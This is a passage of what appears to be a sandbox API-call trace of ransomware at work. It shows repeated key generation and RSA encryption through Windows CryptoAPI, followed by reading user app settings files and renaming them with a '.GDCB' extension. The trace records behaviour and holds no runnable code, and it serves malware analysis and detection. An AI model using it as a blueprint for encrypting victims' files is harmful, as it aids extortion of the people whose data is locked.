Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d73c*=0x5c4760) returned 1 [0230.958] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d740 | out: phKey=0x285d740*=0x659f0f8) returned 1 [0230.958] CryptGetKeyParam (in: hKey=0x659f0f8, dwParam=0x8, pbData=0x285d72c, pdwDataLen=0x285d734, dwFlags=0x0 | out: pbData=0x285d72c*=0x800, pdwDataLen=0x285d734*=0x4) returned 1 [0230.958] CryptEncrypt (in: hKey=0x659f0f8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x7ce0000*, pdwDataLen=0x285d8b4*=0xc8, dwBufLen=0x800 | out: pbData=0x7ce0000*, pdwDataLen=0x285d8b4*=0x100) returned 1 [0230.958] GetLastError () returned 0x0 [0230.958] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0230.958] CryptAcquireContextW (in: phProv=0x285d73c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d73c*=0x5c4980) returned 1 [0230.960] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d740 | out: phKey=0x285d740*=0x659f178) returned 1 [0230.960] CryptGetKeyParam (in: hKey=0x659f178, dwParam=0x8, pbData=0x285d72c, pdwDataLen=0x285d734, dwFlags=0x0 | out: pbData=0x285d72c*=0x800, pdwDataLen=0x285d734*=0x4) returned 1 [0230.960] CryptEncrypt (in: hKey=0x659f178, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x7cf0000*, pdwDataLen=0x285d8b8*=0xc8, dwBufLen=0x800 | out: pbData=0x7cf0000*, pdwDataLen=0x285d8b8*=0x100) returned 1 [0230.961] GetLastError () returned 0x0 [0230.961] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0230.961] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.WindowsCalculator_8wekyb3d8bbwe\\Settings\\settings.dat" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.windowscalculator_8wekyb3d8bbwe\\settings\\settings.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x50c [0230.962] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x7d00000 [0230.964] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x7d10000 [0230.966] ReadFile (in: hFile=0x50c, lpBuffer=0x7d10000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d8f8, lpOverlapped=0x0 | out: lpBuffer=0x7d10000*, lpNumberOfBytesRead=0x285d8f8*=0x2000, lpOverlapped=0x0) returned 1 [0230.982] VirtualAlloc (lpAddress=0x0, dwSize=0x2000, flAllocationType=0x3000, flProtect=0x4) returned 0x7e20000 [0230.988] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.WindowsCalculator_8wekyb3d8bbwe\\Settings\\settings.dat" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.windowscalculator_8wekyb3d8bbwe\\settings\\settings.dat"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.WindowsCalculator_8wekyb3d8bbwe\\Settings\\settings.dat.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.windowscalculator_8wekyb3d8bbwe\\settings\\settings.dat.gdcb")) returned 1 [0231.072] CryptAcquireContextW (in: phProv=0x285d74c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d74c*=0x5c4760) returned 1 [0231.075] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0231.076] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0231.076] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285d89c | out: pbBuffer=0x285d89c) returned 1 [0231.076] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0231.076] CryptAcquireContextW (in: phProv=0x285d74c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d74c*=0x5c4760) returned 1 [0231.078] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0231.079] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0231.079] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285d868 | out: pbBuffer=0x285d868) returned 1 [0231.079] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0231.079] CryptAcquireContextW (in: phProv=0x285d73c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d73c*=0x5c4e48) returned 1 [0231.081] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d740 | out: phKey=0x285d740*=0x659f6f8) returned 1 [0231.081] CryptGetKeyParam (in: hKey=0x659f6f8, dwParam=0x8, pbData=0x285d72c, pdwDataLen=0x285d734, dwFlags=0x0 | out: pbData=0x285d72c*=0x800, pdwDataLen=0x285d734*=0x4) returned 1 [0231.081] CryptEncrypt (in: hKey=0x659f6f8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x7ce0000*, pdwDataLen=0x285d8b4*=0xc8, dwBufLen=0x800 | out: pbData=0x7ce0000*, pdwDataLen=0x285d8b4*=0x100) returned 1 [0231.082] GetLastError () returned 0x0 [0231.082] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0231.082] CryptAcquireContextW (in: phProv=0x285d73c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d73c*=0x5c4760) returned 1 [0231.084] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d740 | out: phKey=0x285d740*=0x659f4b8) returned 1 [0231.084] CryptGetKeyParam (in: hKey=0x659f4b8, dwParam=0x8, pbData=0x285d72c, pdwDataLen=0x285d734, dwFlags=0x0 | out: pbData=0x285d72c*=0x800, pdwDataLen=0x285d734*=0x4) returned 1 [0231.084] CryptEncrypt (in: hKey=0x659f4b8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x7cf0000*, pdwDataLen=0x285d8b8*=0xc8, dwBufLen=0x800 | out: pbData=0x7cf0000*, pdwDataLen=0x285d8b8*=0x100) returned 1 [0231.084] GetLastError () returned 0x0 [0231.084] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0231.084] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.WindowsCamera_8wekyb3d8bbwe\\Settings\\settings.dat" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.windowscamera_8wekyb3d8bbwe\\settings\\settings.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x50c [0231.085] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x7d00000 [0231.087] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x7d10000 [0231.088] ReadFile (in: hFile=0x50c, lpBuffer=0x7d10000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d8f8, lpOverlapped=0x0 | out: lpBuffer=0x7d10000*, lpNumberOfBytesRead=0x285d8f8*=0x2210, lpOverlapped=0x0) returned 1 [0231.096] VirtualAlloc (lpAddress=0x0, dwSize=0x2210, flAllocationType=0x3000, flProtect=0x4) returned 0x7e20000 [0231.100] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.WindowsCamera_8wekyb3d8bbwe\\Settings\\settings.dat" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.windowscamera_8wekyb3d8bbwe\\settings\\settings.dat"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.WindowsCamera_8wekyb3d8bbwe\\Settings\\settings.dat.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.windowscamera_8wekyb3d8bbwe\\settings\\settings.dat.gdcb")) returned 1 [0231.144] CryptAcquireContextW (in: phProv=0x285d74c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d74c*=0x5c4760) returned 1 [0231.146] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0231.147] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0231.147] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285d89c | out: pbBuffer=0x285d89c) returned 1 [0231.147] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0231.147] CryptAcquireContextW (in: phProv=0x285d74c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d74c*=0x5c4e48) returned 1 [0231.149] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0231.150] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0231.150] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285d868 | out: pbBuffer=0x285d868) returned 1 [0231.150] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0231.150] CryptAcquireContextW (in: phProv=0x285d73c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d73c*=0x5c4760) returned 1 [0231.153] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d740 | out: phKey=0x285d740*=0x659f1f8) returned 1 [0231.153] CryptGetKeyParam (in: hKey=0x659f1f8, dwParam=0x8, pbData=0x285d72c, pdwDataLen=0x285d734, dwFlags=0x0 | out: pbData=0x285d72c*=0x800, pdwDataLen=0x285d734*=0x4) returned 1 [0231.153] CryptEncrypt (in: hKey=0x659f1f8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x7ce0000*, pdwDataLen=0x285d8b4*=0xc8, dwBufLen=0x800 | out: pbData=0x7ce0000*, pdwDataLen=0x285d8b4*=0x100) returned 1 [0231.153] GetLastError () returned 0x0 [0231.153] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0231.153] CryptAcquireContextW (in: phProv=0x285d73c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d73c*=0x5c4760) returned 1 [0231.155] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d740 | out: phKey=0x285d740*=0x659f538) returned 1 [0231.155] CryptGetKeyParam (in: hKey=0x659f538, dwParam=0x8, pbData=0x285d72c, pdwDataLen=0x285d734, dwFlags=0x0 | out: pbData=0x285d72c*=0x800, pdwDataLen=0x285d734*=0x4) returned 1 [0231.155] CryptEncrypt (in: hKey=0x659f538, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x7cf0000*, pdwDataLen=0x285d8b8*=0xc8, dwBufLen=0x800 | out: pbData=0x7cf0000*, pdwDataLen=0x285d8b8*=0x100) returned 1 [0231.155] GetLastError () returned 0x0 [0231.155] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0231.155] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\microsoft.windowscommunicationsapps_8wekyb3d8bbwe\\Settings\\settings.dat" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.windowscommunicationsapps_8wekyb3d8bbwe\\settings\\settings.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x50c [0231.157] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x7d00000 [0231.159] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x7d10000 [0231.161] ReadFile (in: hFile=0x50c, lpBuffer=0x7d10000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d8f8, lpOverlapped=0x0 | out: lpBuffer=0x7d10000*, lpNumberOfBytesRead=0x285d8f8*=0x2000, lpOverlapped=0x0) returned 1 [0231.169] VirtualAlloc (lpAddress=0x0, dwSize=0x2000, flAllocationType=0x3000, flProtect=0x4) returned 0x7e20000 [0231.174] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\microsoft.windowscommunicationsapps_8wekyb3d8bbwe\\Settings\\settings.dat" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.windowscommunicationsapps_8wekyb3d8bbwe\\settings\\settings.dat"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\microsoft.windowscommunicationsapps_8wekyb3d8bbwe\\Settings\\settings.dat.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.windowscommunicationsapps_8wekyb3d8bbwe\\settings\\settings.dat.gdcb")) returned 1 [0231.468] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4980) returned 1 [0231.470] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0231.472] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0231.472] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0231.472] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0231.472] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4760) returned 1 [0231.474] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0231.475] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0231.475] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0231.475] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0231.475] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4760) returned 1 [0231.477] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x659f5b8) returned 1 [0231.477] CryptGetKeyParam (in: hKey=0x659f5b8, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0231.477] CryptEncrypt (in: hKey=0x659f5b8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x7ce0000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0x7ce0000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0231.478] GetLastError () returned 0x0 [0231.478] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0231.478] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4760) returned 1 [0231.479] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x659f5f8) returned 1 [0231.480] CryptGetKeyParam (in: hKey=0x659f5f8, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0231.480] CryptEncrypt (in: hKey=0x659f5f8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x7cf0000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0x7cf0000*, pdwDataLen=0x285d120*=0x100) returned 1 [0231.480] GetLastError () returned 0x0 [0231.480] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0231.480] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.WindowsFeedback_cw5n1h2txyewy\\AC\\Microsoft\\Windows\\3375042201\\1858609885.pri" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.windowsfeedback_cw5n1h2txyewy\\ac\\microsoft\\windows\\3375042201\\1858609885.pri"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0231.550] CryptAcquireContextW (in: phProv=0x285d74c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d74c*=0x5c4760) returned 1 [0231.553] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0231.554] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0231.554] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285d89c | out: pbBuffer=0x285d89c) returned 1 [0231.554] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0231.554] CryptAcquireContextW (in: phProv=0x285d74c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d74c*=0x5c4e48) returned 1 [0231.556] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0231.557] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0231.557] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285d868 | out: pbBuffer=0x285d868) returned 1 [0231.557] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0231.557] CryptAcquireContextW (in: phProv=0x285d73c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d73c*=0x5c4980) returned 1 [0231.561] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d740 | out: phKey=0x285d740*=0x659f578) returned 1 [0231.561] CryptGetKeyParam (in: hKey=0x659f578, dwParam=0x8, pbData=0x285d72c, pdwDataLen=0x285d734, dwFlags=0x0 | out: pbData=0x285d72c*=0x800, pdwDataLen=0x285d734*=0x4) returned 1 [0231.561] CryptEncrypt (in: hKey=0x659f578, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x7d00000*, pdwDataLen=0x285d8b4*=0xc8, dwBufLen=0x800 | out: pbData=0x7d00000*, pdwDataLen=0x285d8b4*=0x100) returned 1 [0231.561] GetLastError () returned 0x0 [0231.561] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0231.561] CryptAcquireContextW (in: phProv=0x285d73c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d73c*=0x5c4e48) returned 1 [0231.563] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d740 | out: phKey=0x285d740*=0x659f738) returned 1 [0231.563] CryptGetKeyParam (in: hKey=0x659f738, dwParam=0x8, pbData=0x285d72c, pdwDataLen=0x285d734, dwFlags=0x0 | out: pbData=0x285d72c*=0x800, pdwDataLen=0x285d734*=0x4) returned 1 [0231.563] CryptEncrypt (in: hKey=0x659f738, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x7d10000*, pdwDataLen=0x285d8b8*=0xc8, dwBufLen=0x800 | out: pbData=0x7d10000*, pdwDataLen=0x285d8b8*=0x100) returned 1 [0231.563] GetLastError () returned 0x0 [0231.563] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0231.563] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.WindowsFeedback_cw5n1h2txyewy\\LocalState\\_sessionState.xml" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.windowsfeedback_cw5n1h2txyewy\\localstate\\_sessionstate.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x50c [0231.565] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x7d20000 [0231.566] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x7d30000 [0231.568] ReadFile (in: hFile=0x50c, lpBuffer=0x7d30000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d8f8, lpOverlapped=0x0 | out: lpBuffer=0x7d30000*, lpNumberOfBytesRead=0x285d8f8*=0x1cb, lpOverlapped=0x0) returned 1 [0231.576] VirtualAlloc (lpAddress=0x0, dwSize=0x1d0, flAllocationType=0x3000, flProtect=0x4) returned 0x7e40000 [0231.608] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.WindowsFeedback_cw5n1h2txyewy\\LocalState\\_sessionState.xml" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.windowsfeedback_cw5n1h2txyewy\\localstate\\_sessionstate.xml"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.WindowsFeedback_cw5n1h2txyewy\\LocalState\\_sessionState.xml.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.windowsfeedback_cw5n1h2txyewy\\localstate\\_sessionstate.xml.gdcb")) returned 1 [0231.617] CryptAcquireContextW (in: phProv=0x285d74c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d74c*=0x5c4760) returned 1 [0231.619] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0231.620] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0231.620] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285d89c | out: pbBuffer=0x285d89c) returned 1 [0231.620] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0231.620] CryptAcquireContextW (in: phProv=0x285d74c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d74c*=0x5c4e48) returned 1 [0231.622] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0231.623] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0231.623] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285d868 | out: pbBuffer=0x285d868) returned 1 [0231.623] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0231.624] CryptAcquireContextW (in: phProv=0x285d73c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d73c*=0x5c4760) returned 1 [0231.626] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d740 | out: phKey=0x285d740*=0x659f338) returned 1 [0231.626] CryptGetKeyParam (in: hKey=0x659f338, dwParam=0x8, pbData=0x285d72c, pdwDataLen=0x285d734, dwFlags=0x0 | out: pbData=0x285d72c*=0x800, pdwDataLen=0x285d734*=0x4) returned 1 [0231.626] CryptEncrypt (in: hKey=0x659f338, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x7d00000*, pdwDataLen=0x285d8b4*=0xc8, dwBufLen=0x800 | out: pbData=0x7d00000*, pdwDataLen=0x285d8b4*=0x100) returned 1 [0231.626] GetLastError () returned 0x0 [0231.626] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0231.626] CryptAcquireContextW (in: phProv=0x285d73c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d73c*=0x5c4760) returned 1 [0231.628] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d740 | out: phKey=0x285d740*=0x659f378) returned 1 [0231.628] CryptGetKeyParam (in: hKey=0x659f378, dwParam=0x8, pbData=0x285d72c, pdwDataLen=0x285d734, dwFlags=0x0 | out: pbData=0x285d72c*=0x800, pdwDataLen=0x285d734*=0x4) returned 1 [0231.628] CryptEncrypt (in: hKey=0x659f378, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x7d10000*, pdwDataLen=0x285d8b8*=0xc8, dwBufLen=0x800 | out: pbData=0x7d10000*, pdwDataLen=0x285d8b8*=0x100) returned 1 [0231.629] GetLastError () returned 0x0 [0231.629] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0231.629] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.WindowsFeedback_cw5n1h2txyewy\\Settings\\settings.dat" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.windowsfeedback_cw5n1h2txyewy\\settings\\settings.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, 